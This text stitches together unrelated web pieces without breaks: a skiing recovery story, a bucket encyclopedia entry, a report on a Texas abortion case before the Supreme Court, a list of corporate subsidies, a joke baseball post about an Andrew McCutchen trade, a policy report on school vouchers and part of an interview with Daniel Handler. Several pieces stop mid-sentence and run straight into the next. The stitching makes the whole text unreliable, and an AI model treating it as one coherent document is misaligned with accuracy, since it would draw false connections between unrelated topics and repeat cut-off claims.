That experience of independence got him to his final goal. Exactly one year after his accident, Jim went skiing.
"And my fifth goal, was um, was this,” he said, tearfully.
He shared happy tears and powder turns with the friends and family who have helped him through this year-long journey. They’re also the people who will be there for Jim he continues his adventure.
Jim says, now that he's achieved his first five goals, he's setting another round of milestones for year two. If skiing more is one of them, he'll definitely be able to do that at Alta Ski Area. They gave him a complementary V.I.P. pass for the entire season.This article is about the open top container. For other uses, see Bucket (disambiguation)
Water well buckets
A bucket is typically a watertight, vertical cylinder or truncated cone or square, with an open top and a flat bottom, attached to a semicircular carrying handle called the bail.[1][2]
A bucket is usually an open-top container. In contrast, a pail can have a top or lid and is a shipping container. In common usage, the two terms are often used interchangeably.
Types and uses [ edit ]
There are many types of buckets;
A water bucket is used to carry water
Household and garden buckets are used for carrying liquids and granular products
Elaborate ceremonial or ritual buckets in bronze, ivory or other materials are found in several ancient or medieval cultures and are sometimes known by the Latin for bucket, situla
Large scoops or buckets are attached to loaders and telehandlers for agricultural and earth-moving purposes
Crusher buckets attached to excavators are used for crushing and recycling material in the Construction Industry
A lunch box is sometimes called a lunch pail, or a lunch bucket.
Buckets can be re-purposed as seats, tool caddies, hydroponic gardens, chamber pots, "street" drums, or livestock feeders, or for long term food storage by survivalists [3]
Buckets are often used as children's toys to shape and carry sand on a beach or in a sandpit
Shipping containers [ edit ]
As a shipping container, the word "pail" is a technical term for a bucket shaped package with a sealed top or lid which is used as a shipping container for chemicals and industrial products.[4]
Gallery [ edit ]
English literature [ edit ]
The bucket has been used in many
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isn’t it right for the rest of the women Texas?” Ginsburg asked.
The lower courts have split on the constitutionality of the provisions. In 2014, U.S. District Judge Lee Yeakel of Austin struck down both provisions. The state immediately appealed to the U.S. 5th Circuit of Appeals, which in June upheld most of its provisions.
The appellate court did carve out an exception from most of the hospital-like standards for the relatively remote Whole Woman’s Health clinic in McAllen, and granted one of the McAllen clinic’s doctors relief from the admitting privileges requirement.
In that ruling, the 5th Circuit also diverged from opinion of other circuits by rejecting the notion that legal precedent requires courts to scrutinize the facts state legislatures use to justify health-related abortion restrictions.
On Wednesday, Alito, was among the most vocal in agreeing with that argument, questioning whether courts are “qualified” to determine the validity of states’ medical justifications.
The liberal justices struck a different tone, questioning how much the court should defer to state legislatures and how far states must go to provide evidence that restrictions improve health.
They also pressed Keller to lay out not only the medical benefits tied to the ambulatory surgical and admitting privileges requirements, but how they improved health standards.
Keller argued the restrictions are meant to make the procedure safer and respond to possible complications, which he says are underreported among abortion providers.
Justice Sonia Sotomayor responded that those complications would be reported by the hospitals that treat women. With thousands of women left more than 100 miles from the nearest abortion clinic, that may not always be the same hospital the doctor who provided the abortion is affiliated with, she added.
“There has to be some tie between the benefit and the burden, doesn't there?” Sotomayor asked.
The Texas abortion case could have national implications. As of last November, 10 states had adopted admitting privileges requirements, but courts blocked enforcement in six of those, according to the Center for Reproductive Rights. Six states had enacted ambulatory surgical center standards on abortion facilities, but those restrictions were blocked in two of those states.
Justice Anthony Kennedy, considered the swing vote in the case, remained mostly silent during arguments despite his role in setting the undue burden standard in the 1992 case.
He offered little indication on his views of the law, but at one point questioned whether the case should be sent back to a lower court to collect more evidence on the law’s impact, including whether remaining clinics had the capacity to continue offering the procedure at the same rate if the state is left with fewer clinics.
Among his few interjections was pressing Keller on figures that showed that the share of medical abortions — a method used early in a pregnancy — is on the rise nationwide but down in Texas while the number of surgical abortions are increasing in the state.
“This may not be medically wise,” he said after his colleagues questioned why Texas would require women to obtain abortion-inducing medication in an ambulatory surgical center.
Following the recent death of Justice Antonin Scalia, the high court was left with a vacant seat. That means if Kennedy sides with the court’s conservatives, the resulting 4-4 tie would uphold the 5th Circuit’s ruling, which largely upheld the abortion restrictions, but the decision would not set national precedent.
The Texas case is the most prominent abortion case the court has considered in decades, and could redefine the next era of abortion restrictions in the United States.
“Texas made a strong case defending our efforts to protect the health and safety of women in our state,” Attorney General Ken Paxton said in a statement after the arguments. “If our law is upheld, women in Texas will be safer. If any part is struck down, women in Texas will be less safe, and that would be a tragedy.”
In Austin, less than an hour after oral arguments ended, abortion rights activists from local law firms and the American Civil Liberties Union expressed optimism about the outcome of the case, and frustration the case needed to be heard in the first place.
“As I stand here today — I never thought we would be here,” said Barbara Hines, an attorney who has been an abortion rights activist since the early 1970’s, when abortion was a felony in Texas. “In 2016, we are still fighting over a woman’s right to control her own body and make her own decisions.”
Sarah Wheat, vice president for community affairs at Planned Parenthood of Greater Texas, spoke directly to the liberal justices’ questions about the medical necessity of HB 2’s costly clinic requirements.
“The width and breadth of our janitor’s closet is dictated — how often the air ventilates through our ventilation system, the width of our hallways. The type of door hinges we have. None of these enhance the safety and health of our patients,” Wheat said.
Jordan Rudner contributed to this report.
Disclosure: Planned Parenthood was a corporate sponsor of The Texas Tribune in 2011. A complete list of Tribune donors and sponsors can be viewed here.While corporations are often painted as the independent drivers of the U.S. economic system, the beacons of small government success aren’t always void of government help, with some reaping success at the hands of taxpayers.
In 2012, the government spent just shy of $50 billion on public service programs, including food assistance and social welfare operations: that’s compared to the $92 billion the government spent on corporate welfare programs, funds issued through tax breaks, subsidies and grants to some of the nation’s most prominent businesses.
Below is a list of the best (or worst) companies and industries accepting tax breaks and funds to fuel corporate profits, while at the same time standing up for a free market system and shunning a “nanny” state government that doles out tax dollars to those who don’t need it.
As pointed out by the CATO Institute, the U.S. government spent $92 billion in private-sector business subsidies back in 2006 — and it hasn’t lost its taste for corporate welfare just yet.
1. Wal-Mart: The nation’s largest retail outlet is passing its tax bill down to the American public in more ways than one.
A University of California Berkeley report indicates the corporation’s low-wage jobs were costing the state an estimated $86 million in taxpayer-funded public assistance programs. While boasting the necessity for low-wages, the corporation was essentially handing down costs to taxpayers in the form of publicly-funded health insurance and food assistance programs.
A more blatant example of Wal-Mart’s delight in public funds came through a taxpayer-funded control tower at an airport that houses Wal-Mart’s cargo corporate fleet. According to Bloomberg News, a spending bill approved in 2011 halted measures that would have taken away government-funded controllers for Wal-Mart’s jets in Rogers, Arkansas.
Airports the size of Rogers Municipal Airport in Arkansas typically aren’t required to have their own control towers. But because the airport hosts Wal-Mart’s fleet, ushering in plenty of traffic, it is required to purchase the traffic controller, and pay costs associated with the airport that essentially serves as Wal-Mart’s own public (but really private) airport. The airport is slated to spend $81,000 this year for the tower.
“In this time when we’re trying to reduce deficits and find smart ways to cut what we’re spending, here we are essentially giving a subsidy to a private corporation under the guise of air traffic control,” Eric Zimmerman of Washington’s Taxpayers for Common Sense told Bloomberg.
2. The oil industry — ExxonMobil, BP, ConocoPhillips, Chevron and Shell, to be precise
While conservative rhetoric focuses on the clean energy industry, highlighting government-funded failures like Solyndra as proof of government efforts to hoist up an industry that profits greedy green entrepreneurs, millions in subsidies for oil companies are swept under the rug.
The top five oil companies — ExxonMobil, BP, ConocoPhillips, Chevron and Shell — receive a combined $4 billion in tax breaks each year, and that trend is likely to continue. While rationale indicates the tax breaks trickle down to the consumers, prices have risen over the last few years, despite increases in domestic oil production through new fracking technology.
According to the Center for American Progress, Americans saw an 11 percent increase in gasoline prices in one year. In 2012, the average household spent just shy of $3,000 on gas, reaching the highest level in four years.
Meanwhile, oil companies continue to rake in record profits. In 2012, the oil companies, in combination, earned $118 billion in profits, with $72 billion in cash reserves.
On the flip side, Solar-power company Solyndra received $535 million in a federal loan through the Obama administration. After the company went bankrupt, it wasn’t able to pay that loan back. This is what many Republicans have labeled as a government “scandal,” one that used taxpayer funds to help green business get rich quick.
Op-ed columnist Joe Nocera, writing for the New York Times, disagrees. He claims the premise of the federal loan program is to take risks, and that not all projects pull through.
“Most electricity today is generated by coal-fired power plants, operated by monopoly, state-regulated utilities. Because they’ve been around so long, and because coal is cheap, these plants have built-in cost advantages that no new technology can overcome without help,” he wrote. “The federal guarantees help power the cost of capital for technologies like solar; they help spur innovation; and they help encourage private investment. These are all worthy goals.”
And they’re loans.
Despite the back-and-forth between both sides of the political aisle, the difference in taxpayer-funded subsidies to the oil industry far outweighs those enjoyed by the green [industry] — by the billions.
3. Haliburton
Throughout the course of the Iraq War, Haliburton, once headed by former Vice President Dick Cheney, made just shy of $40 billion in taxpayer-funded government contracts associated with the Iraq War.
Altogether, government contractors made $138 billion in taxpayer funds for work carried out through the Iraq War, representing a significant portion of government funds working on behalf of private industry.
KBR, owned by Halliburton, was the top recipient, earning many of those contracts through controversial no-bid processes, including one 2010 deal that paid the company $568 million to provide housing, meals and bathroom services to U.S. soldiers. That contract was later subject to an investigation and Department of Justice lawsuit.
According to International Business Times, the Commission on Wartime Contracting in Iraq indicated contractor corruption cost the government $60 billion, with some companies being paid to do services they never accomplished — instead, those jobs were done by U.S. servicemen and women.
In comparison to U.S. troops, private contractors outweighed them in sheer numbers. In 2008, according to the U.S. Department of Defense, there were 155,826 private contractors, compared to 152,275 U.S. troops.
The Army alone increased its reliance on government contractors, increasing annual spending to $5 billion a year between 2001 and 2010, compared to its $200 million prior to that, according to the Christian Science Monitor.
4. IBM, General Electric and Dow Chemical (via the Advanced Technology Program)
A less-known government subsidy program is giving taxpayer-funded grants to some of the nation’s most well endowed businesses, without debate by the general public.
As noted by the CATO Institute in its report, The Corporate Welfare State: How the Federal Government Subsidizes U.S. Businesses, the organization points out that companies earning Advanced Technology Program (ATP) grants are eating up significant portions of the federal budget.
Created in 1988 to aid technological innovation, companies have been receiving funds to venture into new technological territory. Yet according to the CATO Institute, many companies have used the free money as a way to boost business forward, without first looking into other ways to fund projects. The U.S. Government Accountability Office indicates 63 percent of companies applying for ATP grants are doing so without first attempting to fund projects.
On the top of the list? Fortune 500 companies IBM, General Electric, Honeywell, XEROX and Dow Chemical. IBM alone has received $49.2 million in ATP grants, followed by General Electric with $32.2 million and Honeywell with $29 million.
According to the Heritage Fund, the ATP program, as of 2005, had cost taxpayers $2 billion in total: 40 percent of funds went to Fortune 500 companies. Currently, the cost to taxpayers for the ATP program is $70 million annually.The baseball winter meetings are set to start next week and it is always one of my favorite baseball events. There is always a blizzard of trade rumors, and though most don't actually happen, there are always a good few that do. It's almost as good as watching actual baseball.
One big rumor kicking around right now is that the Pirates are looking to move Andrew McCutchen. He had a rough year last season and they have a hotshot prospect ready to take his place and nobody really wants it to happen, but it might be the best for everyone. And, well, it's not all the time that a player of his caliber is available. So even the Reds should be raising their eyebrows and taking a good look.
It's not going to happen (it looks more and more like he will end up in Washington), but what the heck. Let's have some fun. So here's what it might look like if Andrew McCutchen gets traded to the Reds:
Amazing. That Reds hat looks pretty good on him.
Here's what it might look like if Andrew McCutchen gets traded to the Reds and also he eats a hamburger:
Wow! I'm hungry! When's lunch, am I right?!
Here's what it might look like if Andrew McCutchen gets traded to the Reds and he is kind of disappointed that he has to play right field:
Kind of a bummer, but even he would have to admit that Billy Hamilton is a better center fielder than he is.
Here's what it might look like if Andrew McCutchen gets traded to the Reds and they wear green hats on St Patrick's Day:
Blarney! Drink Guinness for strength, boy-o!
Here's what it might look like if Andrew McCutchen gets traded to the Reds and midway through his final season he meets a tiny green alien named The Great Gazoo that only he can see:
The Great Gazoo is a tiny, green, floating alien who was exiled to Earth from his home planet Zetox as punishment for having invented a doomsday machine, a weapon of immense destructive power. His invention is a button which if pressed will destroy the universe in an explosive "ZAM," though he insists he made it on a whim ("I wanted to be the first on my block to have one!") with no intent of using it. Gazoo is discovered by Andrew McCutchen when his flying saucer crashes; Gazoo recognizes Cutch's world as 21st century Earth, implying Zetox banished him through time as well as space. Due to the terms of his exile, he is required to do good deeds for whoever found him first, putting him reluctantly under Cutch's command.
Gazoo refers to McCutchen as "dum-dum" and constantly causes problems for him. He can materialize and dematerialize objects, teleport, freeze time, travel through time, and perform other remarkable feats, but when he attempts to help out McCutchen, he usually ends up causing even more trouble. Although his powers are frequently described as "magic," they are more likely based on incredibly advanced science, in accordance with the third of Clarke's three laws. The only people who are able to see Gazoo are McCutchen and a few Reds minor leaguers, because they believe in him; animals also can see him.Summary
Betsy DeVos, the new U.S. secretary of education, is a strong proponent of allowing public education dollars to go to private schools through vouchers, which enable parents to use public school money to enroll their children in private schools, including religious ones. Vouchers are advanced under the rubric of “school choice”—the theory that giving parents more choices regarding where to educate their children creates competition and thus improves low-performing schools. (Charter schools, though technically funded and regulated similarly to public schools, are another key private school component of the choice argument and another top policy priority for DeVos.) DeVos’s nomination and confirmation have heightened the debate over using privatization, versus other school improvement strategies, to enhance educational outcomes for students and their schools.
This report seeks to inform that debate by summarizing the evidence base on vouchers. Studies of voucher programs in several U.S. cities, the states of Florida, Indiana, Louisiana, and in Chile and India, find limited improvements at best in student achievement and school district performance from even large-scale programs. In the few cases in which test scores increased, other factors, namely increased public accountability, not private school competition, seem to be more likely drivers. And high rates of attrition from private schools among voucher users in several studies raises concerns. The second largest and longest-standing U.S. voucher program, in Milwaukee, offers no solid evidence of student gains in either private or public schools.
In the only area in which there is evidence of small improvements in voucher schools—in high school graduation and college enrollment rates—there are no data to show whether the gains are the result of schools shedding lower-performing students or engaging in positive practices. Also, high school graduation rates have risen sharply in public schools across the board in the last 10 years, with those increases much larger than the small effect estimated on graduation rates from attending a voucher school.
The lack of evidence that vouchers significantly improve student achievement (test scores), coupled with the evidence of a modest, at best, impact on educational attainment (graduation rates), suggests that an ideological preference for education markets over equity and public accountability is what is driving the push to expand voucher programs. Ideology is not a compelling enough reason to switch to vouchers, given the risks. These risks include increased school segregation; the loss of a common, secular educational experience; and the possibility that the flow of inexperienced young teachers filling the lower-paying jobs in private schools will dry up once the security and benefits offered to more experienced teachers in public schools disappear.
The report suggests that giving every parent and student a great “choice” of educational offerings is better accomplished by supporting and strengthening neighborhood public schools with a menu of proven policies, from early childhood education to after-school and summer programs to improved teacher pre-service training to improved student health and nutrition programs. All of these yield much higher returns than the minor, if any, gains that have been estimated for voucher students.
Introduction
Extensive research on educational vouchers in the United States over the past 25 years shows that gains in student achievement are at best small. An educational voucher is a certificate of public funding of a certain amount that can be used by parents of students in any school of the parents’ choosing that accepts such vouchers, usually private. The regulations around vouchers vary from plan to plan.
As originally conceived by Milton Friedman (1955), the purpose of vouchers is to break the “monopoly” of public schooling and extend families’ school choices for their children to include private education. Friedman, and voucher advocates more generally, argue that an education market that includes private schools competing on a financially level playing field with public schools, can deliver schooling more cheaply and satisfy consumer needs more effectively because private education is more efficient than public. Charter schools are more regulated than private voucher schools, since charters must be sanctioned by a state, county, or school district to receive public funding and are subject to public accountability. But charter schools are still private entities. Indeed, the argument for charter schools is based on the same philosophical foundation as vouchers, namely that consumer and cost-sensitive private (charter) schools, competing with public schools, would provide the best education for the most families (Chubb and Moe 1990).
Voucher programs have been undertaken in Milwaukee, Cleveland, New York, Washington, D.C., Dayton, Ohio, and the states of Florida, Indiana, Louisiana, among others. All the plans in these locations are targeted at low-income students. But there are national universal eligibility voucher plans in other countries, such as Chile, that have also been intensely evaluated, with similar results—small effects on student achievement (for Chile, see McEwan and Carnoy 2000). Many of these plans have also been carefully evaluated. Some of the voucher studies are experiments in which families volunteer their children to attend private school, and under experiments, some families are randomly awarded vouchers for attending private school while other families do not get vouchers and thus children of those families end up attending public school. Experiments usually involve a relatively small number of students but are considered a highly reliable method of estimating the effect of attending a private school.
Research does not show that vouchers significantly improve student achievement
Voucher proponents argue that offering students the opportunity, through public financing, to attend private rather than public schools produces significant gains at two levels: that individual students gain from attending a more effective (private) school, and that students remaining in public schools gain because increasing private school competition for public school students pushes public schools to improve.
Most studies test the first of these claims. In the late 1990s, voucher experiments were conducted in New York City, Washington, D.C., and Dayton, Ohio (Howell et al. 2000). The New York experiment, which involved low-income students entering private schools via vouchers in grades 2–5, was the only one that showed significant gains in test scores for any group of voucher students after three years, and gains appeared only for black students in a single cohort (Mayer et al. 2002). However, a closer examination showed that these gains had been overestimated and were not statistically significant because part of the baseline group of students had not been included in the sample of students analyzed (Krueger and Zhu 2004). The experiments in Dayton and Washington, D.C., had such large “losses” (students with vouchers who left voucher schools during the evaluation period) that no valid estimates of voucher effects could be made.
A later voucher plan in Washington, D.C.—the Opportunity Scholarship Program—was funded directly by Congress and began in 2004. It, too, was targeted at low-income students. Students who volunteered to participate were randomly awarded vouchers to private schools, the majority of which were religious/Catholic schools. Those students offered or using vouchers in the two cohorts evaluated (students entering the program in 2004 and those entering in 2005) showed no significant reading or math gains over those who did not receive scholarships/vouchers, but high school graduation rates were significantly higher for those students in the sample who were in ninth grade or higher and therefore could have graduated in the period evaluated (Wolf et al. 2013). The most interesting policy aspect of the Opportunity Scholarship Program, however, was the relatively few placements (1,700) offered to students via the program by the 90 to 100 private schools operating in the district during this period (Washington, D.C., had about 70,000 public and charter students in 2004), and the high rate of school-switching among voucher recipients (Carnoy 2009).
The most recent voucher programs evaluated are in Indiana and Louisiana. The Indiana program began in 2011 and offers vouchers to low- to middle-income students to attend private schools. Parents can supplement the publicly funded voucher with private funds. About 34,000 students took vouchers in 2016––2017. An evaluation of the Indiana program that compared time trends of voucher students’ test scores with the test score time trends of similar students in public schools showed significantly lower math and reading gains on the state test for voucher students (for a summary, see Dynarski, 2016). A statewide voucher program in Louisiana begun in 2008 and also aimed at low-income students now has almost 8,000 voucher recipients attending private schools. It, too, has been evaluated. Researchers used a quasi-experimental method and, again in this case, found that voucher students in private schools scored significantly lower in math and reading on the state test than the control group attending Louisiana’s public schools (Dynarski 2016).
The experiment in New York, the second Washington, D.C., experiment, and the evaluation of Louisiana program provide the most reliable estimates of the impact that vouchers have on student reading and mathematics performance. Yet advocates for vouchers, at least for targeted vouchers in a U.S. setting, most often focus on Milwaukee, the city with the nation’s second largest (after Indiana) and longest running voucher program (it has been operating since the 1990s). About 28,000 students currently attend private schools using vouchers under the Milwaukee Parental Choice Program (MPCP), and about 75,000 students attend Milwaukee’s public schools (including charter schools); this constitutes one of the lowest shares (along with Washington, D.C., and New Orleans) of traditional public school enrollment in the country. Milwaukee has been a totally “choice” school district for almost 20 years—students can select among traditional public schools, public magnet schools, charter schools (if places are available), and, if eligible, private voucher schools (Carnoy et al. 2007). As a result, only one in four students attends his or her neighborhood school. If choice has a significant positive impact on student achievement, Milwaukee should be among the highest scoring urban school districts in the nation. Milwaukee’s private school students should be outscoring its public school students, and students in traditional public schools should have made large gains because of the intense competition from private and charter schools.
However, none of these characterize Milwaukee’s school outcomes. The African American students who make up roughly two-thirds of Milwaukee’s student body are the main recipients of vouchers. Their academic performance is thus important in assessing the overall impact of choice in the district. Figures A and B compare the National Assessment of Educational Process (NAEP) scores of black students in eighth-grade math and reading in 13 urban U.S. school districts. Black students in Milwaukee have lower eighth-grade math scores than students in every city but Detroit—notably, another urban district with a high level of school choice. In reading, Milwaukee’s black eighth-graders do even more poorly. They score lower than black eighth-graders in all other 12 city school districts. Although not represented in a figure, fourth-grade NAEP scores for the 13 cities show the same pattern.
Figure A Eighth-grade math scores in large urban school districts, 2009, 2011, and 2013 2009 2011 2013 Atlanta 255 262 261 Balt. 255 259 257 Boston 268 272 271 Chicago 252 260 259 Cleve. 252 249 249 Detroit 237 244 239 DC 244 249 253 Houston 266 271 271 LA 247 246 256 Miami 260 256 259 Milw. 244 246 247 NYC 261 262 263 Phil. 256 260 258 Chart Data Download data The data below can be saved or copied directly into Excel. The data underlying the figure. Source: National Center for Education Statistics' National Assessment of Educational Progress Data Explorer (2009, 2011, 2013) Share on Facebook Tweet this chart Embed Copy the code below to embed this chart on your website. Download image
Figure B Eighth-grade reading scores in large urban school districts, 2009, 2011, and 2013 2009 2011 2013 Atlanta 246 249 249 Balt. 243 242 249 Boston 248 246 247 Chicago 243 245 244 Cleve. 239 234 235 Detroit 232 235 239 DC 235 231 237 Houston 243 247 245 LA 239 242 240 Miami 250 246 245 Milw. 233 232 232 NYC 246 248 253 Phil. 241 244 244 Chart Data Download data The data below can be saved or copied directly into Excel. The data underlying the figure. Source: National Center for Education Statistics' National Assessment of Educational Progress Data Explorer (2009, 2011, 2013) Share on Facebook Tweet this chart Embed Copy the code below to embed this chart on your website. Download image
It is possible that Milwaukee students had initially even lower NAEP scores than students in other urban districts and made much larger gains than other districts’ students since the early 2000s, after the current voucher plan was implemented in 1998. However, we cannot test this proposition using NAEP data because Milwaukee only participated as a district in NAEP in 2009, 2011, and 2013. Students in Milwaukee’s public schools did make large gains on the Wisconsin state test in fourth- and eighth-grade mathematics from 2007 to 2008, but have not improved since, and they did not make significant gains in reading between 2007 and 2011. So given that the only substantial test score gains were in math and only for one year, the argument that vouchers have turned Milwaukee into a high achieving school district is weak.
More systematic studies of student performance gains in private schools and the effects of competition on public school students’ performance likewise show that if vouchers have improved student learning in Milwaukee’s public schools, the effects are small. In 2006, the state of Wisconsin commissioned a group of academics to evaluate whether voucher students attending private schools (MPCP students) made larger gains in reading and mathematics over a four-year period than similar students in Milwaukee’s traditional public schools (MPS). The researchers applied Wisconsin state tests to a sample of private schools that had agreed to participate and compared the results annually with a matched set of public school students.
The results show that there were no significant differences in the gains of MPCP and MPS students in either subject in the first three years evaluated (Witte et al. 2012). In the fourth year, 2010–2011, the Wisconsin legislature required all private schools accepting voucher students to participate in the Wisconsin state test. In that fourth year, the gains in math and reading scores were greater for MPCP students than for matched public school students (Witte et al. 2012, Figure 3). The researchers cautioned, however, that much, if not all, of these gains resulted from the accountability measure imposed by the legislature in that year rather than MPCP students’ private school attendance. The authors suggested that making Wisconsin test results for private schools available to the public for the first time pushed these schools to increase instruction of curricular elements that might appear on the test, which helped increase scores.
Indeed, this same influence of accountability measures is observed in evaluations of a large state-level voucher program in Florida. Starting in 1999, the Florida A+ program rated public schools from A to F based on annual test scores and test score gains. Students in schools receiving an F rating two out of four years—“chronically failing schools”—were eligible to receive vouchers, called “Opportunity Scholarships” to attend private schools. In practice, very few vouchers were awarded because schools designated as F schools in one year tended to make significant improvement in the next year. One study (Greene 2001) attributed the significantly higher gains made by F-rated schools compared with D-rated schools to “voucher threat”—in other words, the threat of losing students to competing private schools. However, a second study showed that a similar, directly preceding accountability plan in Florida that designated schools as “critically low performing” but did not include a voucher threat, produced improvements among such low-rated schools that were just as great as the improvements in the F-rated schools under the Florida A+ plan (Figlio and Rouse 2006). The second study concludes that the stigma of being labeled a low-performing or failing school is the likely reason for greater improvement. Thus, increased public accountability, not private school competition, is a more effective mechanism for producing test score gains in low-performing schools.
Other studies have estimated the impact of private school competition on student achievement in Milwaukee’s traditional public schools. Hoxby (2003) and Chakrabarti (2005) show that in the two years following the Wisconsin Supreme Court decision of 1998 allowing publicly funded vouchers to be used in religious schools, test scores in Milwaukee public schools as compared with “similar” Wisconsin schools outside Milwaukee increased significantly. However, in subsequent research I compared the individual test score gains between the 2001–2002 school year and the 2002–2003 school year of students in public schools within Milwaukee with many nearby private schools accepting voucher students and students in public schools with few nearby competing private schools offering voucher places. This study showed no significant effects of greater competition from private voucher schools (Carnoy et al. 2007). Moreover, test scores in Milwaukee public schools fell in subsequent years. These contradictory results suggest that “the observed improvement in public school test scores associated with the implementation of a greatly expanded voucher plan in 1998-99 and 1999-2000 was probably a response to the [initial] threat of increased competition” (Carnoy et al. 2007, 3). Participation in the MPCP increased by 6,000 students in 1998–2000, and by an additional 5,000 students in the following four years. Yet, further improvements did not occur despite increases in voucher uptake (implying increased competition from private schools) in subsequent years. In other words, these studies suggest that the threat of vouchers provides a one-time boost to achievement of students in public schools, but this boost is not necessarily sustained.
One possible reason that public school test scores did not continue to rise is that the Milwaukee Public School District (MPSD) did not take aggressive action against low-performing public schools or those public schools losing enrollment. That is, the MPSD may not have conveyed a sufficiently strong signal to public schools that poor school management would result in reorganization or closure. But that is not the case. The MPSD did send a sufficiently strong signal that poor management would have repercussions because it has been closing and consolidating public schools since the early 2000s.
If researchers examining other programs in other locations were finding that private school competition leads to a sustained increase in public school student performance, the Milwaukee results would be an anomaly and thus have to be explained by specific conditions in Milwaukee. But researchers are not finding that private school competition elsewhere has led to a large sustained increase in public school student performance. Studies in Chile, which implemented a national voucher program in 1981, show no impact of competition on public school student performance (Hsieh and Urquiola 2006). And a general review of studies on the effect of competition on educational outcomes indicates that competition has a positive impact but the impact is small (Belfield and Levin 2002).
Most recently, a large-scale experiment in India compared students’ public school performance in rural communities where vouchers to attend private schools had been awarded with public school student performance in rural communities where vouchers had not been awarded (Muralidharan and Sundararaman 2015). The estimates showed no significant difference in student performance in the two types of communities. While there are certainly reasons to be skeptical that countries so different from the United States provide the strongest evidence that private school competition does not lead to large sustained increases in public school student performance, the lack of other domestic studies renders stronger comparisons impossible.
There are more effective ways than vouchers to increase graduation and college attendance rates
Why does school privatization at public expense continue to be pushed at the state and federal level when the empirical evidence points so glaringly in one direction—that neither the move from public to private school nor increased competition from private schools significantly improves student achievement? For example, proponents of “school choice” keep insisting that providing increased access to privately managed and owned schools improves academic achievement, but studies of voucher plans suggest something else: that when test score gains do occur in such programs they are likely the result of increases or perceived increases in school accountability.
Is privatization being pushed as an education policy because studies show modestly higher rates of graduation and four-year college attendance for attending private school with students? This is a doubtful justification for such a radical departure from direct public school improvement policies for several reasons.
First, we don’t know why these schools are increasing graduation rates. The same researchers who suggest that the introduction of accountability measures, rather than vouchers, drove test score bumps also estimated high school graduation and college attendance differences for the eighth- and ninth-graders in the Milwaukee sample. They found that MPCP students were somewhat more likely to graduate on time (but overall graduation rates in voucher schools were not found to be significantly higher once fifth-year graduation is included) and to attend four-year college (Cowen et al. 2013). The differences are significant but small, and they are consistent with higher graduation rates found in the 2004 Washington, D.C., voucher program (Wolf et al. 2013).
Higher on-time graduation rates of private high school students may be the result of many factors, including private high schools’ willingness to shed less motivated students, and the greater focus of some private schools on helping students enter four-year colleges. The Milwaukee researchers were not able to identify the reasons for the differences, but for both research and policy purposes it is important to understand whether these schools are increasing graduation rates because they are shedding lower-performing students or because they are engaged in positive practices.
Second, high school graduation rates have risen sharply in public education in the last 10 years (Murnane 2013). The increases reported by Murnane are much larger than the small effect estimated on graduation rates from attending a voucher school.
Third, it would be relatively easy to increase both graduation and four-year college attendance by investing modestly more in the number of college counselors in public high schools and in training them better. Expanding public subsidies to private schools has enough other potential downsides—such as increased school segregation (Bifulco and Ladd 2006, in North Carolina; Hsieh and Urquiola 2006, in Chile), and losing the common, secular educational experience provided by public schools—that moving forward with this radical reform to achieve slightly increasing high school graduation rates seems rather unreasonable.
Vouchers programs have hidden costs, including shrinking the pipeline into teaching
Another argument often given for vouchers and choice programs is that vouchers cost less per student than traditional public education. (This argument also applies to charter schools.) However, this cost argument is flawed. Voucher programs and most charter schools can run at a lower cost for several reasons that would not be sustainable were voucher programs to replace much of public education. First, private voucher schools have several ways to avoid higher cost students not available to public schools. Most important among these is that even if required to admit students by lottery, voucher schools can later ease out students that are not performing well or are not sufficiently conforming to the school’s mission (Benveniste, Carnoy, and Rothstein 2003).
Second, some teachers and staff at religious private schools are subsidized by religious organizations.
Third, many voucher (and charter) schools “free ride” the bigger teacher labor market by hiring much younger teachers with no promise of permanent employment.
The “free rider” aspect of teacher costs in private schools, whether voucher or charter, means that the supply of young people entering the teaching profession is maintained by the salary structure and tenure system in public education. Without this structure, many fewer individuals would take the training needed to become certified to enter teaching. Since teaching salaries are low
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Why do I like them so much? I am always curious when something happens. Your Friend, Brandy.” I think of this letter daily, whenever something happens to me and I am curious about it.
The negative responses all blur into one, frankly. The banality of objection: “You're inappropriate, children shouldn’t think about such things, there’s nothing funny about x and I should know because I have an excellent sense of humor.” I’ve signed many books “to a future orphan” and there are apparently many parents who think their children would rather hear that their parents will outlive them.
MD: What trend in children's literature or YA fiction, as we're instructed to call it, do you most regret?
DH: I can’t think of one. Even the vilest of trends has usually been done very well once. For a while there were too many vampires, for instance, but Bram Stoker remains a wonderful YA author.
MD: I find it incredible, just short of unbelievable, that your son Otto hasn't read A Series of Unfortunate Events. Can this really be true? Why, I wonder? And if he isn't reading you, who is the poor, deprived child reading?
DH: My son has a great appreciation for All The Wrong Questions, which is Snicket enough for any child, let alone mine. He has a keen and startling interest in nonfiction, a sort of literature I never read voluntarily at his age. Watching him read a children’s biography of Benedict Arnold is a powerful reminder of the endless variety of reading, and having him ask me questions about it is a powerful reminder, like much of parenting is, of how little I know.
MD: You've said that you think “character is bunk,” and that “good fiction comes from good story and good tone,” which “create circumstances that are interesting and thus feel ‘real,’ even though the story is of course not a realistic one.” In the same vein, you’ve said that you “try to write dialogue that reflects the accidental stylization” of actual, overheard conversation, dialogue that both “feels like life and yet also more interesting than life.”
I feel as if you're pushing back against the compulsory naturalism of the American novel, going back to Hemingway, or maybe Dreiser—planting the flag for a counter-aesthetic of—what? unnaturalism?—in fiction. I’m reminded of the poet Frank O’Hara, who according to his biographer Brad Gooch “knew that he didn’t want to be a Hemingway, the sort of popular writer who reduced the complexities of felt life to an ‘elegant machinery’ while his characters pretended to a deceptive lifelikeness. [He] wanted rather ‘to move towards a complexity which makes life within the work and which does not (necessarily, although it may) resemble life as much as most people think it is lived...’”
DH: It’s true that the stylistics of so-called “realism” are not very realistic—a paragraph of Virginia Woolf or Stephen Dixon captures more about the human brain than the high melodrama of Dreiser—but that to me is more a conversation about labeling; Belgian waffles aren’t Belgian, but they’re still delicious, and my love for An American Tragedy is not diminished by the fact that the author isn’t doing what they say he is.
There is a wave of American fiction, ascendant now, with charms to which I am immune, in which all strangeness, in story and language, has been seemingly purposefully scrubbed. Nobody—author, character, reader—seems to be having any trace of fun. There is an overemphasis on character-building at the expense of plot or even incident, such that we know everything about a person to whom nothing is happening. This is boring. It is also not like life.
I’m interested in invoking the strangeness of our nonetheless familiar existence. O’Hara does this magnificently.
MD: You've said that your latest novel, We Are Pirates, asks, "'Is it possible to go someplace that is really away and be beyond the arm of not just the law, but civilization?' And the answer is well, yes, and then you’re outside of civilization – and that’s terrible."
